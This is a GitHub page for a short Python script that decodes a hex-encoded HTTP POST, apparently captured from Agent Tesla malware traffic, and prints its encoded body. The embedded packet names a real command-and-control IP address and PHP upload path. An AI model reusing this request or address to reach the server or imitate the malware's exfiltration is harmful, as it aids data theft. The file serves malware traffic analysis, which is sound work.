-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexample_headers_agenttesla.py
26 lines (22 loc) · 2.29 KB
/
example_headers_agenttesla.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
# Content-Type: application/x-www-form-urlencoded
# Host: 103.133.105.179
# Content-Length: 370
# Expect: 100-continue
# Connection: Keep-Alive
import ujson
dict_headers_example = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Expect': '100-continue',
'Connection': 'Keep-Alive'}
line_str_headers = ujson.dumps(dict_headers_example)
data_packet = '504f5354202f333533352f696e632f65393363633134326634376664632e70687020485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a38302e3029204765636b6f2f32303130303130312046697265666f782f38302e300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a486f73743a203130332e3133332e3130352e3137390d0a436f6e74656e742d4c656e6774683a203337300d0a4578706563743a203130302d636f6e74696e75650d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a0d0a703d733969702f36587268397a45436837706f66554447563066524b4f467a4177796f557a3567414771596b6f6d6d4b6751374e6b497335416f68383154796e4e59576164334342424b58684d494b726b774c7a784a3148445061733863397733464d46616750344933316671564c454d6a4f6a3943484749467644584373327775704a7953516f75346d39377a76554c6535336c55585a33557247586e354141533447454c6b566847636b634832574b453549797370505973504e77526b253242634c46324f6b7132634567587a3446317441416b76566f45356c776d613548345a6861686e3465675759785746716c386a546e4d414f773343334348574e5476347039716a346658634668564d4e356e4f2532425148734751784c5668416b424c6d456d596757384e634b7a6243366b6e4a4a436937696233764f395174376e655652646e6453735a65666b41424c675951755257455a795277665a596f546b6a4b796b78377a39693877756d31383d'
need_bytes = bytes.fromhex(data_packet)
split_help = b"Expect: 100-continue\r\nConnection: Keep-Alive\r\n\r\n"
need_part = need_bytes.split(split_help)[1]
print(need_part.decode(encoding='ascii'))
headers_bytes_from_string: bytes = line_str_headers.encode('utf-8')
print(headers_bytes_from_string)
headers_bytes_from_string_hex = headers_bytes_from_string.hex()
print(headers_bytes_from_string_hex)
print(headers_bytes_from_string)